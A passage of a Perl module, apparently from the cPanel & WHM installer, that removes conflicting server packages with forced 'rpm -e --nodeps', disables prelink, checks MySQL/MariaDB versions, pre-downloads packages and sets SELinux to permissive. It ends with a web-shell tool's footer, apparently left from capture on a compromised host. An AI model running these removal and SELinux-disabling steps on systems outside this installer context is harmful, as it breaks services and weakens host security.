    my ($self) = @_;

    return unless $self->distro_name =~ m/centos|almalinux|rocky/;
    return if has_yum_plugin_fastestmirror();

    INFO("Installing the fastest mirror plugin...");
    Common::ssystem( '/usr/bin/yum', 'clean', 'plugins' );
    Common::ssystem( '/usr/bin/yum', '-y',    'install', 'yum-fastestmirror' );
    Common::ssystem( '/usr/bin/yum', 'clean', 'plugins' );

    # We set the number of threads in bootstrap
    #
    #
    #  We used to support 512MB of ram which caused a problem with a high
    #  maxthreads (FB-51412), however this is no longer an issue
    #  https://documentation.cpanel.net/display/78Docs/Installation+Guide+-+System+Requirements
    #
    return;
}

sub has_yum_plugin_fastestmirror {
    my $rpm_query = `rpm -q --nodigest --nosignature yum-plugin-fastestmirror`;    ## no critic(ProhibitQxAndBackticks)
    return $rpm_query =~ /not installed/ ? 0 : 1;
}

sub remove_distro_software {
    my ($self) = @_;

    my @remove_rpms = qw(
      dovecot
      exim
      mysql
      MySQL
      mysql-max
      MySQL-Max
      mysql-devel
      MySQL-devel
      mysql-client
      MySQL-client
      mysql-ndb-storage
      MySQL-ndb-storage
      mysql-ndb-management
      MySQL-ndb-management
      mysql-ndb-tools
      MySQL-ndb-tools
      mysql-ndb-extra
      MySQL-ndb-extra
      mysql-shared
      MySQL-shared
      mysql-libs
      MySQL-libs
      mysql-bench
      MySQL-bench
      mysql-server
      MySQL-server
      wu-ftpd
      portreserve
      postfix
      sendmail
      smail
      spamassassin
      apache-conf
      mod_perl
      mariadb-libs
      MariaDB-client
      MariaDB-common
      MariaDB-server
      MariaDB-compat
      MariaDB-shared
      pure-ftpd
      proftpd
      bind-chroot
    );

    INFO('Ensuring that prelink is disabled...');

    if ( open( my $fh, '+<', '/etc/sysconfig/prelink' ) ) {
        my @lines = map { my $s = $_; $s =~ s/^(PRELINKING=)yes(.*)$/$1no$2/; $s } <$fh>;
        seek( $fh, 0, 0 );
        print {$fh} @lines;
        truncate( $fh, tell($fh) );
    }

    INFO('Ensuring that conflicting services are not installed...');
    my @rpms_to_remove =
      map  { ( split( m{-}, $_, 2 ) )[1] }                                                                   # split INSTALLED-NAME and take NAME
      grep { rindex( $_, 'INSTALLED-', 0 ) == 0 }                                                            # Only output that starts with INSTALLED- is installed
      split( m{\n}, `rpm -q --nodigest --nosignature --queryformat 'INSTALLED-%{NAME}\n' @remove_rpms` );    ## no critic(ProhibitQxAndBackticks)
    if (@rpms_to_remove) {
        DEBUG(" Removing @rpms_to_remove...");
        Common::ssystem( 'rpm', '-e', '--nodeps', @rpms_to_remove, { ignore_errors => 1 } );
    }

    INFO('Removing conflicting service references from the RPM database (but leaving the services installed)...');
    my @all_pkgs = `rpm -qa --nodigest --nosignature --queryformat '%{name}\n'`;                             ## no critic(ProhibitQxAndBackticks)
    @all_pkgs = grep { $_ !~ m/^(?:cpanel|alt)-/ } @all_pkgs;                                                # Don't worry about cpanel or cloudlinux RPMS.

    unless ( $self->skip_apache ) {
        foreach my $rpm ( grep m/http|php|apache|mod_perl/, @all_pkgs ) {
            next if $rpm =~ m/^(perl|lib)/;                                                                  # ignore things like libnghttp2 and perl-LWP-Protocol-https which we want!!!
            chomp $rpm;
            DEBUG(" Removing $rpm...");
            Common::ssystem( 'rpm', '-e', '--nodeps', $rpm, { ignore_errors => 1 } );
        }
    }

    # CPANEL-30184: Required since the file is not managed by the rpm, and is not removed with it.
    if ( -e '/var/lib/dovecot/ssl-parameters.dat' ) {
        unlink '/var/lib/dovecot/ssl-parameters.dat';
    }

    return;
}

sub verify_mysql_version {
    my ( $self, $cpanel_config ) = @_;

    my $mysql_version = $cpanel_config->{'mysql-version'};

    return unless length $mysql_version;

    # The only supported installable versions are:
    # 5.7, 8.0, 10.3, 10.5, 10.6, 10.11
    # The following will recommend a specific version in error output:
    # 5.5, 5.6, 10.0, 10.1, 10.2
    my $version_filter = qr{^(?:
        5\.[5-7]
        | 8(?:\.0)
        | 10(?:\.(?:[0-3,5-6]|11))
    )$}x;
    unless ( $mysql_version =~ m/$version_filter/ ) {
        FATAL('The mysql-version value in /root/cpanel_profile/cpanel.config is either invalid or references an unsupported MySQL/MariaDB version. See https://go.cpanel.net/supported-mysql-mariadb-versions for a list of supported versions.');
    }

    my $lts_version  = $self->lts_version;
    my $distro_major = $self->distro_major;

    my %db_id = CpanelMySQL::get_db_identifiers($mysql_version);

    if ( $self->distro_name eq 'cloudlinux' && $distro_major == 6 && $mysql_version >= 10.5 ) {
        FATAL("cPanel & WHM does not support $db_id{'stylized'} $mysql_version on CloudLinux™ $distro_major. See https://go.cpanel.net/supported-mysql-mariadb-versions for a list of supported versions.");
    }

    my $advice = CpanelMySQL::get_db_version_advice( $mysql_version, $lts_version, $distro_major, $db_id{'plain'} );

    if ( $advice->{ver} && $advice->{action} ) {
        FATAL('The mysql-version value in /root/cpanel_profile/cpanel.config is either invalid or references an unsupported MySQL/MariaDB version. See https://go.cpanel.net/supported-mysql-mariadb-versions for a list of supported versions.');
    }

    return;
}

sub is_python2_named_python {
    return 0 == Common::ssystem( qw(yum info python), { 'ignore_errors' => 1, 'quiet' => 1 } );
}

# These packages are needed for MySQL later in the install
# By installing them now we do not have to wait for
# download
sub background_download_packages_used_during_initial_install {
    my ($self) = @_;

    my @elinks_deps                       = qw(js nss_compat_ossl);
    my @sysup_packages_to_install         = qw{quota expat expat-devel};
    my @ea4_packages_to_install           = qw{elinks libssh2 libssh2-devel libvpx scl-utils perl-libwww-perl krb5-devel perl-Compress-Raw-Bzip2 perl-Compress-Raw-Zlib autoconf automake};
    my @mysql_support_packages_to_install = qw{numactl-libs grep shadow-utils coreutils perl-DBI};

    @ea4_packages_to_install = grep { $_ ne 'elinks' } @ea4_packages_to_install if $self->distro_major >= 9;

    my @packages_to_install = ( @mysql_support_packages_to_install, @sysup_packages_to_install, @ea4_packages_to_install );

    if ( $self->distro_major <= 8 ) {    # python2 is not available starting with 9
        my @python2_packages = qw{python python-devel python-docs python-setuptools };

        if ( is_python2_named_python() ) {
            push @packages_to_install, @python2_packages;
        }
        else {
            push @packages_to_install, map { my $pkg = $_; $pkg =~ s/python/python2/; $pkg } @python2_packages;
        }
    }

    if ( $self->distro_major < 8 ) {
        push @packages_to_install, @elinks_deps;
    }

    my @epel;
    if ( -e "/etc/yum.repos.d/epel.repo" ) {    # for ea4
        @epel = ('--enablerepo=epel');
    }

    return $self->run_in_background( sub { $self->yum_nohang_ssystem( '/usr/bin/yum', @epel, '--downloadonly', '-y', 'install', @packages_to_install ); } );
}

sub pre_checks_while_waiting_for_fix_cpanel_perl {
    my ($self) = @_;

    $self->SUPER::pre_checks_while_waiting_for_fix_cpanel_perl;

    Common::ssystem( '/usr/sbin/setenforce', '0', { ignore_errors => 1 } ) if -e '/usr/sbin/setenforce';

    return;
}

# Attempt to enable module for dnf to specific version
sub enable_dnf_module {
    my ( $self, $module, $version ) = @_;
    if ( !$module || !$version ) {
        WARN("Invalid call to enable_dnf_module(“$module”,“$version“)");
    }
    my $result = Common::ssystem( '/usr/bin/dnf', 'module', 'enable', "$module:$version", '-y' );
    return;
}
1;

Youez - 2016 - github.com/yon3zu
LinuXploit